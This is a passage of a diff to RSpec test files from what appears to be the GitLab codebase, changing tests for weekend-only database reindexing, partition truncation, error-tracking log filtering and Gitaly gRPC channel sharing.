include Database::DatabaseHelpers
include ExclusiveLeaseHelpers
- let(:notifier) { instance_double(Gitlab::Database::Reindexing::GrafanaNotifier, notify_start: nil, notify_end: nil) }
let(:index) { create(:postgres_index) }
let(:connection) { index.connection }
+ let(:notifier) do
+ instance_double(Gitlab::Database::Reindexing::GrafanaNotifier, notify_start: nil, notify_end: nil)
+ end
let!(:lease) { stub_exclusive_lease(lease_key, uuid, timeout: lease_timeout) }
- let(:lease_key) { "gitlab/database/reindexing/coordinator/#{Gitlab::Database::PRIMARY_DATABASE_NAME}" }
+ let(:lease_key) { "gitlab/database/indexing/actions/#{Gitlab::Database::PRIMARY_DATABASE_NAME}" }
let(:lease_timeout) { 1.day }
let(:uuid) { 'uuid' }
@@ -19,75 +21,83 @@ RSpec.describe Gitlab::Database::Reindexing::Coordinator do
model = Gitlab::Database.database_base_models[Gitlab::Database::PRIMARY_DATABASE_NAME]
Gitlab::Database::SharedModel.using_connection(model.connection) do
+ swapout_view_for_table(:postgres_indexes, connection: model.connection)
example.run
end
end
- before do
- swapout_view_for_table(:postgres_indexes)
- end
-
describe '#perform' do
subject { described_class.new(index, notifier).perform }
let(:reindexer) { instance_double(Gitlab::Database::Reindexing::ReindexConcurrently, perform: nil) }
let(:action) { create(:reindex_action, index: index) }
- before do
- allow(Gitlab::Database::Reindexing::ReindexConcurrently).to receive(:new).with(index).and_return(reindexer)
- allow(Gitlab::Database::Reindexing::ReindexAction).to receive(:create_for).with(index).and_return(action)
- end
+ context 'when executed during the weekend', time_travel_to: '2023-01-07T09:44:07Z' do
+ before do
+ allow(Gitlab::Database::Reindexing::ReindexConcurrently).to receive(:new).with(index).and_return(reindexer)
+ allow(Gitlab::Database::Reindexing::ReindexAction).to receive(:create_for).with(index).and_return(action)
+ end
- context 'locking' do
- it 'acquires a lock while reindexing' do
- expect(lease).to receive(:try_obtain).ordered.and_return(uuid)
+ context 'locking' do
+ it 'acquires a lock while reindexing' do
+ expect(lease).to receive(:try_obtain).ordered.and_return(uuid)
- expect(reindexer).to receive(:perform).ordered
+ expect(reindexer).to receive(:perform).ordered
- expect(Gitlab::ExclusiveLease).to receive(:cancel).ordered.with(lease_key, uuid)
+ expect(Gitlab::ExclusiveLease).to receive(:cancel).ordered.with(lease_key, uuid)
- subject
- end
+ subject
+ end
- it 'does not perform reindexing actions if lease is not granted' do
- expect(lease).to receive(:try_obtain).ordered.and_return(false)
- expect(Gitlab::Database::Reindexing::ReindexConcurrently).not_to receive(:new)
+ it 'does not perform reindexing actions if lease is not granted' do
+ expect(lease).to receive(:try_obtain).ordered.and_return(false)
+ expect(Gitlab::Database::Reindexing::ReindexConcurrently).not_to receive(:new)
- subject
+ subject
+ end
end
- end
- context 'notifications' do
- it 'sends #notify_start before reindexing' do
- expect(notifier).to receive(:notify_start).with(action).ordered
- expect(reindexer).to receive(:perform).ordered
+ context 'notifications' do
+ it 'sends #notify_start before reindexing' do
+ expect(notifier).to receive(:notify_start).with(action).ordered
+ expect(reindexer).to receive(:perform).ordered
- subject
- end
+ subject
+ end
- it 'sends #notify_end after reindexing and updating the action is done' do
- expect(action).to receive(:finish).ordered
- expect(notifier).to receive(:notify_end).with(action).ordered
+ it 'sends #notify_end after reindexing and updating the action is done' do
+ expect(action).to receive(:finish).ordered
+ expect(notifier).to receive(:notify_end).with(action).ordered
- subject
+ subject
+ end
end
- end
- context 'action tracking' do
- it 'calls #finish on the action' do
- expect(reindexer).to receive(:perform).ordered
- expect(action).to receive(:finish).ordered
+ context 'action tracking' do
+ it 'calls #finish on the action' do
+ expect(reindexer).to receive(:perform).ordered
+ expect(action).to receive(:finish).ordered
- subject
- end
+ subject
+ end
- it 'upon error, it still calls finish and raises the error' do
- expect(reindexer).to receive(:perform).ordered.and_raise('something went wrong')
- expect(action).to receive(:finish).ordered
+ it 'upon error, it still calls finish and raises the error' do
+ expect(reindexer).to receive(:perform).ordered.and_raise('something went wrong')
+ expect(action).to receive(:finish).ordered
- expect { subject }.to raise_error(/something went wrong/)
+ expect { subject }.to raise_error(/something went wrong/)
- expect(action).to be_failed
+ expect(action).to be_failed
+ end
+ end
+ end
+
+ context 'when executed during the week', time_travel_to: '2023-01-09T09:44:07Z' do
+ it 'does not start reindexing' do
+ expect(lease).not_to receive(:try_obtain)
+ expect(Gitlab::Database::Reindexing::ReindexConcurrently).not_to receive(:new)
+
+ expect(subject).to be_nil
end
end
end
@@ -97,33 +107,45 @@ RSpec.describe Gitlab::Database::Reindexing::Coordinator do
subject(:drop) { described_class.new(index, notifier).drop }
- context 'when exclusive lease is granted' do
- it 'drops the index with lock retries' do
- expect(lease).to receive(:try_obtain).ordered.and_return(uuid)
+ context 'when executed during the weekend', time_travel_to: '2023-01-07T09:44:07Z' do
+ context 'when exclusive lease is granted' do
+ it 'drops the index with lock retries' do
+ expect(lease).to receive(:try_obtain).ordered.and_return(uuid)
+
+ expect_query("SET lock_timeout TO '60000ms'")
+ expect_query("DROP INDEX CONCURRENTLY IF EXISTS \"public\".\"#{index.name}\"")
+ expect_query("RESET idle_in_transaction_session_timeout; RESET lock_timeout")
- expect_query("SET lock_timeout TO '60000ms'")
- expect_query("DROP INDEX CONCURRENTLY IF EXISTS \"public\".\"#{index.name}\"")
- expect_query("RESET idle_in_transaction_session_timeout; RESET lock_timeout")
+ expect(Gitlab::ExclusiveLease).to receive(:cancel).ordered.with(lease_key, uuid)
- expect(Gitlab::ExclusiveLease).to receive(:cancel).ordered.with(lease_key, uuid)
+ drop
+ end
- drop
+ def expect_query(sql)
+ expect(connection).to receive(:execute).ordered.with(sql).and_wrap_original do |method, sql|
+ method.call(sql.sub(/CONCURRENTLY/, ''))
+ end
+ end
end
- def expect_query(sql)
- expect(connection).to receive(:execute).ordered.with(sql).and_wrap_original do |method, sql|
- method.call(sql.sub(/CONCURRENTLY/, ''))
+ context 'when exclusive lease is not granted' do
+ it 'does not drop the index' do
+ expect(lease).to receive(:try_obtain).ordered.and_return(false)
+ expect(Gitlab::Database::WithLockRetriesOutsideTransaction).not_to receive(:new)
+ expect(connection).not_to receive(:execute)
+
+ drop
end
end
end
- context 'when exclusive lease is not granted' do
- it 'does not drop the index' do
- expect(lease).to receive(:try_obtain).ordered.and_return(false)
+ context 'when executed during the week', time_travel_to: '2023-01-09T09:44:07Z' do
+ it 'does not start reindexing' do
+ expect(lease).not_to receive(:try_obtain)
expect(Gitlab::Database::WithLockRetriesOutsideTransaction).not_to receive(:new)
expect(connection).not_to receive(:execute)
- drop
+ expect(drop).to be_nil
end
end
end
diff --git a/spec/lib/gitlab/database/reindexing/grafana_notifier_spec.rb b/spec/lib/gitlab/database/reindexing/grafana_notifier_spec.rb
index 1bccdda3be1..e67c97cbf9c 100644
--- a/spec/lib/gitlab/database/reindexing/grafana_notifier_spec.rb
+++ b/spec/lib/gitlab/database/reindexing/grafana_notifier_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe Gitlab::Database::Reindexing::GrafanaNotifier do
let(:action) { create(:reindex_action) }
before do
- swapout_view_for_table(:postgres_indexes)
+ swapout_view_for_table(:postgres_indexes, connection: ApplicationRecord.connection)
end
let(:headers) do
@@ -25,7 +25,9 @@ RSpec.describe Gitlab::Database::Reindexing::GrafanaNotifier do
let(:response) { double('response', success?: true) }
def expect_api_call(payload)
- expect(Gitlab::HTTP).to receive(:post).with("#{api_url}/api/annotations", body: payload.to_json, headers: headers, allow_local_requests: true).and_return(response)
+ expect(Gitlab::HTTP).to receive(:post).with(
+ "#{api_url}/api/annotations", body: payload.to_json, headers: headers, allow_local_requests: true
+ ).and_return(response)
end
shared_examples_for 'interacting with Grafana annotations API' do
@@ -109,7 +111,9 @@ RSpec.describe Gitlab::Database::Reindexing::GrafanaNotifier do
end
context 'additional tag is provided' do
- subject { described_class.new(api_key: api_key, api_url: api_url, additional_tag: additional_tag).notify_start(action) }
+ subject do
+ described_class.new(api_key: api_key, api_url: api_url, additional_tag: additional_tag).notify_start(action)
+ end
let(:payload) do
{
@@ -163,7 +167,9 @@ RSpec.describe Gitlab::Database::Reindexing::GrafanaNotifier do
end
context 'additional tag is provided' do
- subject { described_class.new(api_key: api_key, api_url: api_url, additional_tag: additional_tag).notify_end(action) }
+ subject do
+ described_class.new(api_key: api_key, api_url: api_url, additional_tag: additional_tag).notify_end(action)
+ end
let(:payload) do
{
diff --git a/spec/lib/gitlab/database/reindexing/index_selection_spec.rb b/spec/lib/gitlab/database/reindexing/index_selection_spec.rb
index 2ae9037959d..e82a2ab467d 100644
--- a/spec/lib/gitlab/database/reindexing/index_selection_spec.rb
+++ b/spec/lib/gitlab/database/reindexing/index_selection_spec.rb
@@ -2,14 +2,16 @@
require 'spec_helper'
-RSpec.describe Gitlab::Database::Reindexing::IndexSelection do
+RSpec.describe Gitlab::Database::Reindexing::IndexSelection, feature_category: :database do
include Database::DatabaseHelpers
subject { described_class.new(Gitlab::Database::PostgresIndex.all).to_a }
+ let(:connection) { ApplicationRecord.connection }
+
before do
- swapout_view_for_table(:postgres_index_bloat_estimates)
- swapout_view_for_table(:postgres_indexes)
+ swapout_view_for_table(:postgres_index_bloat_estimates, connection: connection)
+ swapout_view_for_table(:postgres_indexes, connection: connection)
create_list(:postgres_index, 10, ondisk_size_bytes: 10.gigabytes).each_with_index do |index, i|
create(:postgres_index_bloat_estimate, index: index, bloat_size_bytes: 2.gigabyte * (i + 1))
@@ -17,7 +19,7 @@ RSpec.describe Gitlab::Database::Reindexing::IndexSelection do
end
def execute(sql)
- ActiveRecord::Base.connection.execute(sql)
+ connection.execute(sql)
end
it 'orders by highest relative bloat first' do
@@ -74,4 +76,30 @@ RSpec.describe Gitlab::Database::Reindexing::IndexSelection do
expect(subject.map(&:name).sort).to eq(not_recently_reindexed.map(&:name).sort)
end
end
+
+ context 'with restricted tables' do
+ let!(:ci_builds) do
+ create(
+ :postgres_index_bloat_estimate,
+ index: create(:postgres_index, ondisk_size_bytes: 100.gigabytes, tablename: 'ci_builds'),
+ bloat_size_bytes: 20.gigabyte
+ )
+ end
+
+ context 'when executed on Fridays', time_travel_to: '2022-12-16T09:44:07Z' do
+ it { expect(subject).not_to include(ci_builds.index) }
+ end
+
+ context 'when executed on Saturdays', time_travel_to: '2022-12-17T09:44:07Z' do
+ it { expect(subject).to include(ci_builds.index) }
+ end
+
+ context 'when executed on Sundays', time_travel_to: '2022-12-18T09:44:07Z' do
+ it { expect(subject).not_to include(ci_builds.index) }
+ end
+
+ context 'when executed on Mondays', time_travel_to: '2022-12-19T09:44:07Z' do
+ it { expect(subject).not_to include(ci_builds.index) }
+ end
+ end
end
diff --git a/spec/lib/gitlab/database/reindexing/reindex_action_spec.rb b/spec/lib/gitlab/database/reindexing/reindex_action_spec.rb
index 1b409924acc..06b89e08737 100644
--- a/spec/lib/gitlab/database/reindexing/reindex_action_spec.rb
+++ b/spec/lib/gitlab/database/reindexing/reindex_action_spec.rb
@@ -2,13 +2,13 @@
require 'spec_helper'
-RSpec.describe Gitlab::Database::Reindexing::ReindexAction do
+RSpec.describe Gitlab::Database::Reindexing::ReindexAction, feature_category: :database do
include Database::DatabaseHelpers
let(:index) { create(:postgres_index) }
before_all do
- swapout_view_for_table(:postgres_indexes)
+ swapout_view_for_table(:postgres_indexes, connection: ApplicationRecord.connection)
end
it { is_expected.to be_a Gitlab::Database::SharedModel }
diff --git a/spec/lib/gitlab/database/reindexing_spec.rb b/spec/lib/gitlab/database/reindexing_spec.rb
index fa26aa59329..6575c92e313 100644
--- a/spec/lib/gitlab/database/reindexing_spec.rb
+++ b/spec/lib/gitlab/database/reindexing_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Database::Reindexing, feature_category: :database do
+RSpec.describe Gitlab::Database::Reindexing, feature_category: :database, time_travel_to: '2023-01-07T09:44:07Z' do
include ExclusiveLeaseHelpers
include Database::DatabaseHelpers
@@ -76,7 +76,7 @@ RSpec.describe Gitlab::Database::Reindexing, feature_category: :database do
let(:limit) { 5 }
before_all do
- swapout_view_for_table(:postgres_indexes)
+ swapout_view_for_table(:postgres_indexes, connection: ApplicationRecord.connection)
end
before do
@@ -147,7 +147,7 @@ RSpec.describe Gitlab::Database::Reindexing, feature_category: :database do
subject { described_class.perform_from_queue(maximum_records: limit) }
before_all do
- swapout_view_for_table(:postgres_indexes)
+ swapout_view_for_table(:postgres_indexes, connection: ApplicationRecord.connection)
end
let(:limit) { 2 }
diff --git a/spec/lib/gitlab/database/tables_truncate_spec.rb b/spec/lib/gitlab/database/tables_truncate_spec.rb
index 4d04bd67a1e..9af0b964221 100644
--- a/spec/lib/gitlab/database/tables_truncate_spec.rb
+++ b/spec/lib/gitlab/database/tables_truncate_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe Gitlab::Database::TablesTruncate, :reestablished_active_record_base,
- :suppress_gitlab_schemas_validate_connection do
+ :suppress_gitlab_schemas_validate_connection, feature_category: :pods do
include MigrationsHelpers
let(:min_batch_size) { 1 }
@@ -18,7 +18,7 @@ RSpec.describe Gitlab::Database::TablesTruncate, :reestablished_active_record_ba
let(:main_db_shared_item_model) { table("_test_gitlab_shared_items", database: "main") }
let(:main_db_partitioned_item) { table("_test_gitlab_hook_logs", database: "main") }
let(:main_db_partitioned_item_detached) do
- table("gitlab_partitions_dynamic._test_gitlab_hook_logs_20220101", database: "main")
+ table("gitlab_partitions_dynamic._test_gitlab_hook_logs_202201", database: "main")
end
# CI Database
@@ -29,7 +29,7 @@ RSpec.describe Gitlab::Database::TablesTruncate, :reestablished_active_record_ba
let(:ci_db_shared_item_model) { table("_test_gitlab_shared_items", database: "ci") }
let(:ci_db_partitioned_item) { table("_test_gitlab_hook_logs", database: "ci") }
let(:ci_db_partitioned_item_detached) do
- table("gitlab_partitions_dynamic._test_gitlab_hook_logs_20220101", database: "ci")
+ table("gitlab_partitions_dynamic._test_gitlab_hook_logs_202201", database: "ci")
end
shared_examples 'truncating legacy tables on a database' do
@@ -64,19 +64,19 @@ RSpec.describe Gitlab::Database::TablesTruncate, :reestablished_active_record_ba
id bigserial not null,
created_at timestamptz not null,
item_id BIGINT NOT NULL,
- primary key (id, created_at),
+ PRIMARY KEY (id, created_at),
CONSTRAINT fk_constrained_1 FOREIGN KEY(item_id) REFERENCES _test_gitlab_main_items(id)
) PARTITION BY RANGE(created_at);
- CREATE TABLE gitlab_partitions_dynamic._test_gitlab_hook_logs_20220101
+ CREATE TABLE gitlab_partitions_dynamic._test_gitlab_hook_logs_202201
PARTITION OF _test_gitlab_hook_logs
FOR VALUES FROM ('20220101') TO ('20220131');
- CREATE TABLE gitlab_partitions_dynamic._test_gitlab_hook_logs_20220201
+ CREATE TABLE gitlab_partitions_dynamic._test_gitlab_hook_logs_202202
PARTITION OF _test_gitlab_hook_logs
FOR VALUES FROM ('20220201') TO ('20220228');
- ALTER TABLE _test_gitlab_hook_logs DETACH PARTITION gitlab_partitions_dynamic._test_gitlab_hook_logs_20220101;
+ ALTER TABLE _test_gitlab_hook_logs DETACH PARTITION gitlab_partitions_dynamic._test_gitlab_hook_logs_202201;
SQL
main_connection.execute(main_tables_sql)
@@ -124,14 +124,14 @@ RSpec.describe Gitlab::Database::TablesTruncate, :reestablished_active_record_ba
Gitlab::Database::SharedModel.using_connection(main_connection) do
Postgresql::DetachedPartition.create!(
- table_name: '_test_gitlab_hook_logs_20220101',
+ table_name: '_test_gitlab_hook_logs_202201',
drop_after: Time.current
)
end
Gitlab::Database::SharedModel.using_connection(ci_connection) do
Postgresql::DetachedPartition.create!(
- table_name: '_test_gitlab_hook_logs_20220101',
+ table_name: '_test_gitlab_hook_logs_202201',
drop_after: Time.current
)
end
@@ -176,7 +176,8 @@ RSpec.describe Gitlab::Database::TablesTruncate, :reestablished_active_record_ba
Gitlab::Database::LockWritesManager.new(
table_name: table,
connection: connection,
- database_name: connection.pool.db_config.name
+ database_name: connection.pool.db_config.name,
+ with_retries: false
).lock_writes
end
end
@@ -236,6 +237,25 @@ RSpec.describe Gitlab::Database::TablesTruncate, :reestablished_active_record_ba
end
end
+ context 'when one of the attached partitions happened to be locked for writes' do
+ before do
+ skip if connection.pool.db_config.name != 'ci'
+
+ Gitlab::Database::LockWritesManager.new(
+ table_name: "#{Gitlab::Database::DYNAMIC_PARTITIONS_SCHEMA}._test_gitlab_hook_logs_202202",
+ connection: connection,
+ database_name: connection.pool.db_config.name,
+ with_retries: false
+ ).lock_writes
+ end
+
+ it 'truncates the locked partition successfully' do
+ expect do
+ truncate_legacy_tables
+ end.to change { ci_db_partitioned_item.count }.from(5).to(0)
+ end
+ end
+
context 'with geo configured' do
let(:geo_connection) { Gitlab::Database.database_base_models[:geo].connection }
diff --git a/spec/lib/gitlab/database_spec.rb b/spec/lib/gitlab/database_spec.rb
index 1a482b33a92..86bc8e71fd7 100644
--- a/spec/lib/gitlab/database_spec.rb
+++ b/spec/lib/gitlab/database_spec.rb
@@ -302,6 +302,26 @@ RSpec.describe Gitlab::Database do
end
end
+ describe '.database_base_models_with_gitlab_shared' do
+ before do
+ Gitlab::Database.instance_variable_set(:@database_base_models_with_gitlab_shared, nil)
+ end
+
+ it 'memoizes the models' do
+ expect { Gitlab::Database.database_base_models_with_gitlab_shared }.to change { Gitlab::Database.instance_variable_get(:@database_base_models_with_gitlab_shared) }.from(nil)
+ end
+ end
+
+ describe '.database_base_models_using_load_balancing' do
+ before do
+ Gitlab::Database.instance_variable_set(:@database_base_models_using_load_balancing, nil)
+ end
+
+ it 'memoizes the models' do
+ expect { Gitlab::Database.database_base_models_using_load_balancing }.to change { Gitlab::Database.instance_variable_get(:@database_base_models_using_load_balancing) }.from(nil)
+ end
+ end
+
describe '#true_value' do
it 'returns correct value' do
expect(described_class.true_value).to eq "'t'"
diff --git a/spec/lib/gitlab/diff/file_collection/merge_request_diff_base_spec.rb b/spec/lib/gitlab/diff/file_collection/merge_request_diff_base_spec.rb
index 51bee6d45e4..861852d8f0b 100644
--- a/spec/lib/gitlab/diff/file_collection/merge_request_diff_base_spec.rb
+++ b/spec/lib/gitlab/diff/file_collection/merge_request_diff_base_spec.rb
@@ -26,6 +26,17 @@ RSpec.describe Gitlab::Diff::FileCollection::MergeRequestDiffBase do
end
end
+ describe '#diff_files' do
+ subject(:diff_files) { described_class.new(diffable, diff_options: nil).diff_files }
+
+ it 'measures diffs_highlight_cache_decorate' do
+ allow(Gitlab::Metrics).to receive(:measure).and_call_original
+ expect(Gitlab::Metrics).to receive(:measure).with(:diffs_highlight_cache_decorate).and_call_original
+
+ diff_files
+ end
+ end
+
describe '#cache_key' do
subject(:cache_key) { described_class.new(diffable, diff_options: nil).cache_key }
diff --git a/spec/lib/gitlab/diff/file_collection/merge_request_diff_batch_spec.rb b/spec/lib/gitlab/diff/file_collection/merge_request_diff_batch_spec.rb
index 9ac242459bf..8e14f48ae29 100644
--- a/spec/lib/gitlab/diff/file_collection/merge_request_diff_batch_spec.rb
+++ b/spec/lib/gitlab/diff/file_collection/merge_request_diff_batch_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Diff::FileCollection::MergeRequestDiffBatch, feature_category: :code_review do
+RSpec.describe Gitlab::Diff::FileCollection::MergeRequestDiffBatch, feature_category: :code_review_workflow do
let(:merge_request) { create(:merge_request) }
let(:batch_page) { 0 }
let(:batch_size) { 10 }
diff --git a/spec/lib/gitlab/diff/file_collection/paginated_merge_request_diff_spec.rb b/spec/lib/gitlab/diff/file_collection/paginated_merge_request_diff_spec.rb
index 74e5e667702..ee956d04325 100644
--- a/spec/lib/gitlab/diff/file_collection/paginated_merge_request_diff_spec.rb
+++ b/spec/lib/gitlab/diff/file_collection/paginated_merge_request_diff_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Diff::FileCollection::PaginatedMergeRequestDiff, feature_category: :code_review do
+RSpec.describe Gitlab::Diff::FileCollection::PaginatedMergeRequestDiff, feature_category: :code_review_workflow do
let(:merge_request) { create(:merge_request) }
let(:page) { 1 }
let(:per_page) { 10 }
diff --git a/spec/lib/gitlab/error_tracking_spec.rb b/spec/lib/gitlab/error_tracking_spec.rb
index 4900547e9e9..5eedd716a4a 100644
--- a/spec/lib/gitlab/error_tracking_spec.rb
+++ b/spec/lib/gitlab/error_tracking_spec.rb
@@ -154,6 +154,32 @@ RSpec.describe Gitlab::ErrorTracking do
end
end
+ describe '.log_and_raise_exception' do
+ subject(:log_and_raise_exception) do
+ described_class.log_and_raise_exception(exception, extra)
+ end
+
+ it 'only logs and raises the exception' do
+ expect(Raven).not_to receive(:capture_exception)
+ expect(Sentry).not_to receive(:capture_exception)
+ expect(Gitlab::ErrorTracking::Logger).to receive(:error).with(logger_payload)
+
+ expect { log_and_raise_exception }.to raise_error(RuntimeError)
+ end
+
+ context 'when extra details are provided' do
+ let(:extra) { { test: 1, my_token: 'test' } }
+
+ it 'filters parameters' do
+ expect(Gitlab::ErrorTracking::Logger).to receive(:error).with(
+ hash_including({ 'extra.test' => 1, 'extra.my_token' => '[FILTERED]' })
+ )
+
+ expect { log_and_raise_exception }.to raise_error(RuntimeError)
+ end
+ end
+ end
+
describe '.track_exception' do
subject(:track_exception) do
described_class.track_exception(exception, extra)
diff --git a/spec/lib/gitlab/gitaly_client/ref_service_spec.rb b/spec/lib/gitlab/gitaly_client/ref_service_spec.rb
index ae2e343377d..14d5cef103b 100644
--- a/spec/lib/gitlab/gitaly_client/ref_service_spec.rb
+++ b/spec/lib/gitlab/gitaly_client/ref_service_spec.rb
@@ -409,17 +409,6 @@ RSpec.describe Gitlab::GitalyClient::RefService do
end
end
- describe '#pack_refs' do
- it 'sends a pack_refs message' do
- expect_any_instance_of(Gitaly::RefService::Stub)
- .to receive(:pack_refs)
- .with(gitaly_request_with_path(storage_name, relative_path), kind_of(Hash))
- .and_return(double(:pack_refs_response))
-
- client.pack_refs
- end
- end
-
describe '#find_refs_by_oid' do
let(:oid) { project.repository.commit.id }
diff --git a/spec/lib/gitlab/gitaly_client/repository_service_spec.rb b/spec/lib/gitlab/gitaly_client/repository_service_spec.rb
index 5aef250afac..5eb60d2caa5 100644
--- a/spec/lib/gitlab/gitaly_client/repository_service_spec.rb
+++ b/spec/lib/gitlab/gitaly_client/repository_service_spec.rb
@@ -21,39 +21,6 @@ RSpec.describe Gitlab::GitalyClient::RepositoryService do
end
end
- describe '#garbage_collect' do
- it 'sends a garbage_collect message' do
- expect_any_instance_of(Gitaly::RepositoryService::Stub)
- .to receive(:garbage_collect)
- .with(gitaly_request_with_path(storage_name, relative_path), kind_of(Hash))
- .and_return(double(:garbage_collect_response))
-
- client.garbage_collect(true, prune: true)
- end
- end
-
- describe '#repack_full' do
- it 'sends a repack_full message' do
- expect_any_instance_of(Gitaly::RepositoryService::Stub)
- .to receive(:repack_full)
- .with(gitaly_request_with_path(storage_name, relative_path), kind_of(Hash))
- .and_return(double(:repack_full_response))
-
- client.repack_full(true)
- end
- end
-
- describe '#repack_incremental' do
- it 'sends a repack_incremental message' do
- expect_any_instance_of(Gitaly::RepositoryService::Stub)
- .to receive(:repack_incremental)
- .with(gitaly_request_with_path(storage_name, relative_path), kind_of(Hash))
- .and_return(double(:repack_incremental_response))
-
- client.repack_incremental
- end
- end
-
describe '#optimize_repository' do
it 'sends a optimize_repository message' do
expect_any_instance_of(Gitaly::RepositoryService::Stub)
diff --git a/spec/lib/gitlab/gitaly_client_spec.rb b/spec/lib/gitlab/gitaly_client_spec.rb
index 3d33bf93c23..f5e75242f40 100644
--- a/spec/lib/gitlab/gitaly_client_spec.rb
+++ b/spec/lib/gitlab/gitaly_client_spec.rb
@@ -4,13 +4,19 @@ require 'spec_helper'
# We stub Gitaly in `spec/support/gitaly.rb` for other tests. We don't want
# those stubs while testing the GitalyClient itself.
-RSpec.describe Gitlab::GitalyClient do
+RSpec.describe Gitlab::GitalyClient, feature_category: :gitaly do
def stub_repos_storages(address)
allow(Gitlab.config.repositories).to receive(:storages).and_return({
'default' => { 'gitaly_address' => address }
})
end
+ around do |example|
+ described_class.clear_stubs!
+ example.run
+ described_class.clear_stubs!
+ end
+
describe '.query_time', :request_store do
it 'increments query times' do
subject.add_query_time(0.4510004)
@@ -157,45 +163,131 @@ RSpec.describe Gitlab::GitalyClient do
end
end
+ describe '.create_channel' do
+ where(:storage, :address, :expected_target) do
+ [
+ ['default', 'unix:tmp/gitaly.sock', 'unix:tmp/gitaly.sock'],
+ ['default', 'tcp://localhost:9876', 'localhost:9876'],
+ ['default', 'tls://localhost:9876', 'localhost:9876']
+ ]
+ end
+
+ with_them do
+ before do
+ allow(Gitlab.config.repositories).to receive(:storages).and_return(
+ 'default' => { 'gitaly_address' => address },
+ 'other' => { 'gitaly_address' => address }
+ )
+ end
+
+ it 'creates channel based on storage' do
+ channel = described_class.create_channel(storage)
+
+ expect(channel).to be_a(GRPC::Core::Channel)
+ expect(channel.target).to eql(expected_target)
+ end
+
+ it 'caches channel based on storage' do
+ channel_1 = described_class.create_channel(storage)
+ channel_2 = described_class.create_channel(storage)
+
+ expect(channel_1).to equal(channel_2)
+ end
+
+ it 'returns different channels for different storages' do
+ channel_1 = described_class.create_channel(storage)
+ channel_2 = described_class.create_channel('other')
+
+ expect(channel_1).not_to equal(channel_2)
+ end
+ end
+ end
+
describe '.stub' do
- # Notice that this is referring to gRPC "stubs", not rspec stubs
- before do
- described_class.clear_stubs!
+ matcher :be_a_grpc_channel do |expected_address|
+ match { |actual| actual.is_a?(::GRPC::Core::Channel) && actual.target == expected_address }
+ end
+
+ matcher :have_same_channel do |expected|
+ match do |actual|
+ # gRPC client stub does not expose the underlying channel. We need a way
+ # to verify two stubs have the same channel. So, no way around.
+ expected_channel = expected.instance_variable_get(:@ch)
+ actual_channel = actual.instance_variable_get(:@ch)
+ expected_channel.is_a?(GRPC::Core::Channel) &&
+ actual_channel.is_a?(GRPC::Core::Channel) &&
+ expected_channel == actual_channel
+ end
end
context 'when passed a UNIX socket address' do
- it 'passes the address as-is to GRPC' do
- address = 'unix:/tmp/gitaly.sock'
- stub_repos_storages address
+ let(:address) { 'unix:/tmp/gitaly.sock' }
- expect(Gitaly::CommitService::Stub).to receive(:new).with(address, any_args)
+ before do
+ stub_repos_storages address
+ end
+ it 'passes the address as-is to GRPC' do
+ expect(Gitaly::CommitService::Stub).to receive(:new).with(
+ address, nil, channel_override: be_a_grpc_channel(address), interceptors: []
+ )
described_class.stub(:commit_service, 'default')
end
+
+ it 'shares the same channel object with other stub' do
+ stub_commit = described_class.stub(:commit_service, 'default')
+ stub_blob = described_class.stub(:blob_service, 'default')
+
+ expect(stub_commit).to have_same_channel(stub_blob)
+ end
end
context 'when passed a TLS address' do
- it 'strips tls:// prefix before passing it to GRPC::Core::Channel initializer' do
- address = 'localhost:9876'
+ let(:address) { 'localhost:9876' }
+
+ before do
prefixed_address = "tls://#{address}"
stub_repos_storages prefixed_address
+ end
- expect(Gitaly::CommitService::Stub).to receive(:new).with(address, any_args)
+ it 'strips tls:// prefix before passing it to GRPC::Core::Channel initializer' do
+ expect(Gitaly::CommitService::Stub).to receive(:new).with(
+ address, nil, channel_override: be_a(GRPC::Core::Channel), interceptors: []
+ )
described_class.stub(:commit_service, 'default')
end
+
+ it 'shares the same channel object with other stub' do
+ stub_commit = described_class.stub(:commit_service, 'default')
+ stub_blob = described_class.stub(:blob_service, 'default')
+
+ expect(stub_commit).to have_same_channel(stub_blob)
+ end
end
context 'when passed a TCP address' do
- it 'strips tcp:// prefix before passing it to GRPC::Core::Channel initializer' do
- address = 'localhost:9876'
+ let(:address) { 'localhost:9876' }
+
+ before do
prefixed_address = "tcp://#{address}"
stub_repos_storages prefixed_address
+ end
- expect(Gitaly::CommitService::Stub).to receive(:new).with(address, any_args)
+ it 'strips tcp:// prefix before passing it to GRPC::Core::Channel initializer' do
+ expect(Gitaly::CommitService::Stub).to receive(:new).with(
+ address, nil, channel_override: be_a(GRPC::Core::Channel), interceptors: []
+ )
described_class.stub(:commit_service, 'default')
end
+
+ it 'shares the same channel object with other stub' do
+ stub_commit = described_class.stub(:commit_service, 'default')
+ stub_blob = described_class.stub(:blob_service, 'default')
+
+ expect(stub_commit).to have_same_channel(stub_blob)
+ end
end
end
diff --git a/spec/lib/gitlab/github_gists_import/importer/gist_importer_spec.rb b/spec/lib/gitlab/github_gists_import/importer/gist_importer_spec.rb
index 69a4d646562..6bfbfbdeddf 100644
--- a/spec/lib/gitlab/github_gists_import/importer/gist_importer_spec.rb
+++ b/spec/lib/gitlab/github_gists_import/importer/gist_importer_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::GithubGistsImport::Importer::GistImporter, feature_category: :importer do
+RSpec.describe Gitlab::GithubGistsImport::Importer::GistImporter, feature_category: :importers do
subject { described_class.new(gist_object, user.id).execute }
let_it_be(:user) { create(:user) }
@@ -63,7 +63,7 @@ RSpec.describe Gitlab::GithubGistsImport::Importer::GistImporter, feature_catego
expect(user.snippets.count).to eq(0)
expect(result.error?).to eq(true)
- expect(result.errors).to match_array(['Snippet max file count exceeded'])
+ expect(result.errors).to match_array(['Snippet maximum file count exceeded'])
end
end
diff --git a/spec/lib/gitlab/github_gists_import/importer/gists_importer_spec.rb b/spec/lib/gitlab/github_gists_import/importer/gists_importer_spec.rb
index 704999a99a9..d555a847ea5 100644
--- a/spec/lib/gitlab/github_gists_import/importer/gists_importer_spec.rb
+++ b/spec/lib/gitlab/github_gists_import/importer/gists_importer_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::GithubGistsImport::Importer::GistsImporter, feature_category: :importer do
